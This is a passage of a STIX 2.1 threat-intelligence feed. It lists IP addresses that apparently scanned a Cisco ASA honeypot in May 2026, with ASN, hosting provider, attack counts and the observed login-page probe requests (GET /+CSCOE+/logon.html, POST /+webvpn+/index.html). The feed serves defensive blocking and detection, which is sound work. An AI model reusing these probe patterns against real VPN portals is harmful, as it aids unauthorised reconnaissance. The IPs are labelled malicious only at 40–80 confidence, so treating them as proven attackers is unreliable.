          "last_seen": "2026-05-25T16:11:42.700Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T11:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--de339e08-5fe2-43f4-bbab-f423ceaec40f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '146.70.187.94']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T11:20:10.000Z",
      "valid_until": "2026-06-02T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 24,
          "first_seen": "2026-05-02T04:29:32.103Z",
          "last_seen": "2026-05-24T01:49:39.295Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T11:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--c11e6c15-6820-4c42-9404-766de01f65d5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.100.150']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T11:20:10.000Z",
      "valid_until": "2026-06-02T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 18,
          "first_seen": "2026-05-05T22:01:46.205Z",
          "last_seen": "2026-05-30T10:00:16.785Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T11:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--ce304ef6-a511-43c2-a058-22c3cee4a3c4",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.113.150']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T11:20:10.000Z",
      "valid_until": "2026-06-02T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 9,
          "first_seen": "2026-05-07T03:16:45.339Z",
          "last_seen": "2026-05-20T23:33:18.304Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T11:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--825e9023-231a-492e-a320-039b8a4b8a8c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.118.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T11:20:10.000Z",
      "valid_until": "2026-06-02T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 18,
          "first_seen": "2026-05-11T10:23:28.018Z",
          "last_seen": "2026-05-25T22:14:09.498Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T11:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--fd794147-1dc7-431f-b4de-34abebabd77f",
      "labels": [
        "unknown",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.79.65']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T11:20:10.000Z",
      "valid_until": "2026-06-02T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 0
        }
      }
    },
    {
      "created": "2026-05-01T11:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--4db3a522-1a15-4ced-8045-2ac967a3f6eb",
      "labels": [
        "unknown",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.88.192']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T11:20:10.000Z",
      "valid_until": "2026-06-02T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 0
        }
      }
    },
    {
      "created": "2026-05-01T11:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--26f82ef1-02bb-4409-b32c-4b04c320b721",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.92.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T11:20:10.000Z",
      "valid_until": "2026-06-02T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 27,
          "first_seen": "2026-05-05T07:06:59.591Z",
          "last_seen": "2026-05-30T12:48:21.399Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T11:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--53a2ca2d-a3e6-4bfe-b8bd-06fc49544388",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.134.142.199']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T11:20:10.000Z",
      "valid_until": "2026-06-02T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 54,
          "first_seen": "2026-05-02T04:44:28.036Z",
          "last_seen": "2026-05-30T05:52:27.699Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T11:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--25666730-51c1-4865-9252-8d3c82a50288",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '68.235.46.176']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T11:20:10.000Z",
      "valid_until": "2026-06-02T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 27,
          "first_seen": "2026-05-02T00:55:54.435Z",
          "last_seen": "2026-05-31T02:05:56.262Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T11:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--90b15f4b-dcad-4cba-9cbe-d8f22022238c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '68.235.46.79']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T11:20:10.000Z",
      "valid_until": "2026-06-02T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 12,
          "first_seen": "2026-05-05T10:43:18.141Z",
          "last_seen": "2026-05-08T00:49:25.360Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T11:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 60068 (Datacamp Limited)",
      "id": "indicator--c10ebfa1-3da6-47d5-b935-6a2c516991b9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '79.127.222.202']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T11:20:10.000Z",
      "valid_until": "2026-06-02T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 24,
          "first_seen": "2026-05-02T01:33:14.316Z",
          "last_seen": "2026-05-29T01:06:03.141Z",
          "country": "United States",
          "country_code": "US",
          "asn": 60068,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T11:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 - geo: DE; ASN 44066 (firstcolo GmbH)",
      "id": "indicator--e8e79fa0-b8d9-4709-b32c-1eda812eed8d",
      "labels": [
        "unknown",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '82.211.8.90']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T11:20:10.000Z",
      "valid_until": "2026-06-02T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 0
        }
      }
    },
    {
      "created": "2026-05-01T12:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 203020 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--0cd79bc0-330d-47c4-9f59-7ab2d9ed01f2",
      "labels": [
        "unknown",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '103.251.27.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T12:20:11.000Z",
      "valid_until": "2026-06-02T12:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 0
        }
      }
    },
    {
      "created": "2026-05-01T12:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 203020 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--f7b39a77-af4c-450f-8eb8-c72b104d8611",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '103.81.231.150']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T12:20:11.000Z",
      "valid_until": "2026-06-02T12:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 9,
          "first_seen": "2026-05-10T01:19:35.403Z",
          "last_seen": "2026-05-30T05:52:22.502Z",
          "country": "United States",
          "country_code": "US",
          "asn": 203020,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T12:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 203020 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--aa41b5e5-ade0-41c3-870b-c614c77f4ce5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '103.81.231.192']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T12:20:11.000Z",
      "valid_until": "2026-06-02T12:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 9,
          "first_seen": "2026-05-05T07:11:11.522Z",
          "last_seen": "2026-05-08T05:51:05.119Z",
          "country": "United States",
          "country_code": "US",
          "asn": 203020,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T12:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--36bf0fec-7675-4878-842e-300fbd76d28d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '146.70.165.93']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T12:20:11.000Z",
      "valid_until": "2026-06-02T12:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 12,
          "first_seen": "2026-05-04T18:12:24.716Z",
          "last_seen": "2026-05-05T14:17:01.694Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T12:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--dc7a2c6d-f567-49f3-bcba-9699137ebe34",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '173.249.255.81']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T12:20:11.000Z",
      "valid_until": "2026-06-02T12:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 9,
          "first_seen": "2026-05-05T09:53:22.307Z",
          "last_seen": "2026-05-27T14:02:55.267Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T12:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--9548b194-762d-44d9-b306-8ad073f219a0",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.101.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T12:20:11.000Z",
      "valid_until": "2026-06-02T12:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 21,
          "first_seen": "2026-05-05T17:11:25.544Z",
          "last_seen": "2026-05-30T02:11:37.335Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T12:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--c2a9a3e6-216d-4234-afc4-2d0e51509ff7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.103.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T12:20:11.000Z",
      "valid_until": "2026-06-02T12:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 18,
          "first_seen": "2026-05-05T20:15:34.054Z",
          "last_seen": "2026-05-30T15:05:23.730Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T12:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--5f554bdd-efcc-44bc-9e1f-de19cba1d8ec",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.115.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T12:20:11.000Z",
      "valid_until": "2026-06-02T12:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 10,
          "first_seen": "2026-05-06T00:51:39.527Z",
          "last_seen": "2026-05-29T03:29:56.208Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T12:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--d63bc834-817b-4e75-a4cb-e528df36994d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.89.200']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T12:20:11.000Z",
      "valid_until": "2026-06-02T12:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 33,
          "first_seen": "2026-05-04T14:43:06.096Z",
          "last_seen": "2026-05-31T04:59:02.497Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
